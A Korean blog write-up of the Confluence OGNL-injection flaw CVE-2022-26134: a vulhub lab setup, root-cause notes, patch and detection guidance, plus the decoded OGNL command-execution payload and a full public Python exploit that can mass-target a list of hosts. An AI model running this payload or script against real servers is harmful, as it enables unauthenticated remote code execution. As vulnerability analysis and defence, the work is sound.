1. Confluence

- 아틀라시안(Atlassian)에서 개발한 자바 기반의 소프트웨어

- 팀원들이 효율적으로 지식을 공유하고 협업할 수 있는 도구

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-26134

- 취약 버전의 Confluence Server 및 Data Center에서 OGNL 표현식에 의해 발생하는 원격 명령 실행 취약점

취약한 버전
- Confluence Server 및 Data Center 모든 지원되는 버전
- Confluence Server 및 Data Center 1.3.0 이후의 버전

 

2.1 취약점 실습

- 취약 서버 구동

git clone https://github.com/vulhub/vulhub
cd /vulhub/confluence/CVE-2022-26134
docker-compose up -d

 

[사진 2] 취약 서버 구동

- "Get an evaluation license"를 통해 키 발급 받기

[사진 3] 키 발급

- [사진 3]에서 키 발급 후 Next로 default 설치 진행 및 데이터베이스 설정 진행

- Next > Example Site > default 설치 진행

[사진 4] 설정 진행

- 서버 정상 구동 및 접근 확인

[사진 5] 서버 구동(위) 및 접근 확인(아래)

- Pyhton 파일을 이용해 Exploit 진행 및 id명령 수행 결과가 반환

[사진 6] Exploit

- 해당 패킷을 와이어샤크로 확인하면 다음과 같음

[사진 7] 와이어샤크 확인

<디코딩 전>
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/

<디코딩 후>
/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/

 

2.2 취약점 분석

- 정확하지는 않으나 요청 분석 과정에서 입력값 검증이 부족한 것으로 판단됨

① 서버는 클라이언트의 요청을 처리하기위해 TextParseUtil.translateVariables를 호출
② TextParseUtil.translateVariables에서 "\\\$\\{(^})\\\}"패턴에 대해서만 필터링

※ xwork-1.0.3.6.jar 내 TextParseUtil.class가 있음

[사진 8]&nbsp;TextParseUtil.translateVariables

 

2.3 PoC 분석

- spiderXpl(url) 함수에서 OGNL 표현식 설정 등 공격을 위한 설정이 이루어짐

① 전달 받은 커맨드(-c 옵션 : command)를 포함하여 OGNL 표현식으로 설정

② setHeader() 함수를 통해 응답값에 "X-Cmd-Response"를 설정

③ 취약한 서버의 경우 OGNL 표현식 수행 결과를 X-Cmd-Response를 통해 응답

#!/usr/bin/python3

# Exploit Title: Confluence Pre-Auth Remote Code Execution via OGNL Injection
# Google Dork: N/A
# Date: 06/006/2022
# Exploit Author: h3v0x
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: All < 7.4.17 versions before 7.18.1
# Tested on: -
# CVE : CVE-2022-26134
# https://github.com/h3v0x/CVE-2022-26134

import sys
import requests
import optparse
import multiprocessing

from requests.packages import urllib3
from requests.exceptions import MissingSchema, InvalidURL
urllib3.disable_warnings()

requestEngine = multiprocessing.Manager()
session = requests.Session()

global paramResults
paramResults = requestEngine.list()
globals().update(locals())

def spiderXpl(url):
    globals().update(locals())
    if not url.startswith('http'):
        url='http://'+url
    
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
               "Connection": "close",
               "Accept-Encoding": "gzip, deflate"}

    try:
        response = requests.get(url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+optionsOpt.command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)
        if(response.status_code == 302):
            print('Found: '+url+' // '+ response.headers['X-Cmd-Response'])

            inputBuffer = str(response.headers['X-Cmd-Response'])
            paramResults.append('Vulnerable application found:'+url+'\n''Command result:'+inputBuffer+'\n')
        else:
            pass

    except requests.exceptions.ConnectionError:
        print('[x] Failed to Connect: '+url)
        pass
    except multiprocessing.log_to_stderr:
        pass
    except KeyboardInterrupt:
        print('[!] Stoping exploit...')
        exit(0)
    except (MissingSchema, InvalidURL):
        pass
    
    
def banner():
    print('[-] CVE-2022-26134')
    print('[-] Confluence Pre-Auth Remote Code Execution via OGNL Injection \n')

    
def main():
    banner()
    
    globals().update(locals())
    
    sys.setrecursionlimit(100000)

    if not optionsOpt.filehosts:
        url = optionsOpt.url
        spiderXpl(url)
    else:
        f = open(optionsOpt.filehosts)
        urls = map(str.strip, f.readlines())

        multiReq = multiprocessing.Pool(optionsOpt.threads_set)
        try:
            multiReq.map(spiderXpl, urls)
            multiReq.close()
            multiReq.join()
        except UnboundLocalError:
            pass
        except KeyboardInterrupt:
            exit(0)


    if optionsOpt.output:
        print("\n[!] Saving the output result in: %s" % optionsOpt.output)

        with open(optionsOpt.output, "w") as f:
            for result in paramResults:
                f.write("%s\n" % result)
        f.close()

if __name__ == "__main__":
    parser = optparse.OptionParser()

    parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')
    parser.add_option('-f', '--file', dest="filehosts", help='example.txt')
    parser.add_option('-t', '--threads', dest="threads_set", type=int,default=10)
    parser.add_option('-m', '--maxtimeout', dest="timeout", type=int,default=8)
    parser.add_option('-o', '--output', dest="output", type=str, default='exploit_result.txt')
    parser.add_option('-c', '--cmd', dest="command", type=str, default='id')
    optionsOpt, args = parser.parse_args()

    main()

 

3. 대응방안

3.1 서버측면

① 취약점이 패치된 보안 업데이트 적용

제품 패치 버전
Confluence 7.4.17
7.13.7
7.14.3
7.15.2
7.16.4
7.17.4
7.18.1

- 즉시 업데이트가 어려운 경우 아래 사이트를 참고해 버전별 임시 해결 방안을 적용

⒜ 취약점이 발생한 xwork-1.0.3.6.jar를 새로 출시된 xwork-1.0.3-atlassian-10.jar로 교체 권고

 

Confluecne 보안 권고 CVE-2022-26134 - CURVC DevOps - Confluence

이 문서는 CVE-2022-26134 취약점에 대한 조치 방법을 공유하기 위해 작성되었다. 취약점 요약표 요약CVE-2022-26134 - Confluence Server 및 Data Center의 원격 코드 실행 취약점 (심각도- 미인증)권고 릴리스

confluence.curvc.com

 

- 패치된 버전에서는 translateVariables 메서드를 사용하지 않고 finalNamespace 및 finalActionName 변수를 사용

[사진 9] 패치 전(위) 후(아래) 비교

- findValue 메서드 SafeExpressionUtil.class를 추가

⒜ isSafeExpression()를 통해 입력값에 대한 검증을 강화

[사진 10] 표현식 추가

3.2 네트워크측면

① 공개된 PoC를 통해 다음을 탐지하는 룰을 적용 및 탐지 후 차단

⒜ OGNL 표현식 : ${(#

⒝ 요청 내 X-Cmd-Response 문자열 존재 여부

 

② IoC를 참고해 IP 차단 등의 침해지표 활용

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-26134

- https://github.com/vulhub/vulhub

- https://github.com/h3v0x/CVE-2022-26134/blob/main/exploit.py

https://blog.alyac.co.kr/4772

https://doosil87.github.io/devops/2019/09/01/Jiraandconfluence.html

https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/

https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis

- https://confluence.curvc.com/pages/releaseview.action?pageId=101553124

https://www.akamai.com/ko/blog/security-research/atlassian-confluence-vulnerability-observations

+ Recent posts